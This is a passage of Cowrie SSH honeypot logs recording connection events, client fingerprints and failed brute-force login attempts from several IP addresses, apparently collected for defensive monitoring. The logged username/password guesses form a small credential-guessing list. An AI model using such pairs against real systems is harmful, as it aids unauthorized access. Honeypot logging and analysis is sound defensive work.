penssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:01.646656Z","src_ip":"45.153.34.195","session":"4e7d4e08773d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:01.689902Z","src_ip":"91.92.40.36","session":"c61b6a19492c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:01.698728Z","src_ip":"91.92.40.36","session":"c61b6a19492c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"armin","password":"armin","message":"login attempt [armin/armin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:02.117020Z","src_ip":"45.153.34.195","session":"4e7d4e08773d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:03.200464Z","src_ip":"45.153.34.195","session":"4e7d4e08773d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":60380,"dst_ip":"10.17.0.5","dst_port":22,"session":"67eefeddb64c","protocol":"ssh","message":"New connection: 45.153.34.195:60380 (10.17.0.5:22) [session: 67eefeddb64c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:04.576698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:04.581765Z","src_ip":"45.153.34.195","session":"67eefeddb64c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:04.669857Z","src_ip":"45.153.34.195","session":"67eefeddb64c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sahil","password":"sahil","message":"login attempt [sahil/sahil] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:04.924652Z","src_ip":"45.153.34.195","session":"67eefeddb64c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"password","message":"login attempt [appuser/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:05.916086Z","src_ip":"91.92.40.36","session":"c61b6a19492c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:06.017080Z","src_ip":"45.153.34.195","session":"67eefeddb64c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":60384,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6dedb1c922f","protocol":"ssh","message":"New connection: 45.153.34.195:60384 (10.17.0.5:22) [session: a6dedb1c922f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:07.451159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:07.514322Z","src_ip":"45.153.34.195","session":"a6dedb1c922f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:07.576059Z","src_ip":"45.153.34.195","session":"a6dedb1c922f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.0","message":"Connection lost after 7.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:07.951843Z","src_ip":"91.92.40.36","session":"c61b6a19492c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"peter","password":"peter","message":"login attempt [peter/peter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:08.086848Z","src_ip":"45.153.34.195","session":"a6dedb1c922f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:09.182946Z","src_ip":"45.153.34.195","session":"a6dedb1c922f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"73.36.177.174","src_port":54185,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffecedb2468f","protocol":"ssh","message":"New connection: 73.36.177.174:54185 (10.17.0.5:22) [session: ffecedb2468f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:09.274431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:09.279897Z","src_ip":"73.36.177.174","session":"ffecedb2468f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:09.325789Z","src_ip":"73.36.177.174","session":"ffecedb2468f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"russia123","message":"login attempt [root/russia123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:09.550263Z","src_ip":"73.36.177.174","session":"ffecedb2468f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":32144,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e27a9616306","protocol":"ssh","message":"New connection: 91.92.40.36:32144 (10.17.0.5:22) [session: 8e27a9616306]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:10.256115Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":60400,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1241f7f6c70","protocol":"ssh","message":"New connection: 45.153.34.195:60400 (10.17.0.5:22) [session: a1241f7f6c70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:10.317002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:10.328560Z","src_ip":"45.153.34.195","session":"a1241f7f6c70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:10.600018Z","src_ip":"73.36.177.174","session":"ffecedb2468f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:10.614332Z","src_ip":"45.153.34.195","session":"a1241f7f6c70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@123","message":"login attempt [root/Welcome@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:11.068491Z","src_ip":"45.153.34.195","session":"a1241f7f6c70","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:11.234320Z","src_ip":"91.92.40.36","session":"8e27a9616306","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:11.237634Z","src_ip":"91.92.40.36","session":"8e27a9616306","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":53692,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2c523da0436","protocol":"ssh","message":"New connection: 103.149.28.157:53692 (159.203.135.109:22) [session: a2c523da0436]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:11.836373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:11.840794Z","src_ip":"103.149.28.157","session":"a2c523da0436","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:12.090886Z","src_ip":"103.149.28.157","session":"a2c523da0436","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:12.307908Z","src_ip":"45.153.34.195","session":"a1241f7f6c70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"030507","message":"login attempt [root/030507] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:12.846409Z","src_ip":"103.149.28.157","session":"a2c523da0436","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.136.214.177","src_port":25866,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6ab0b1f95c6","protocol":"ssh","message":"New connection: 150.136.214.177:25866 (10.17.0.5:22) [session: a6ab0b1f95c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:13.006312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:13.011035Z","src_ip":"150.136.214.177","session":"a6ab0b1f95c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"671ac49b8bd65b9e8ff02a3e690f0fd3","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-512,hmac-sha2-256;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-512","hmac-sha2-256"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 671ac49b8bd65b9e8ff02a3e690f0fd3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:13.036594Z","src_ip":"150.136.214.177","session":"a6ab0b1f95c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"speedtest","password":"speedtest@123","message":"login attempt [speedtest/speedtest@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:13.180643Z","src_ip":"150.136.214.177","session":"a6ab0b1f95c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":20902,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b9c2cc4d689","protocol":"ssh","message":"New connection: 45.153.34.195:20902 (10.17.0.5:22) [session: 2b9c2cc4d689]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:13.233055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:13.240638Z","src_ip":"45.153.34.195","session":"2b9c2cc4d689","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 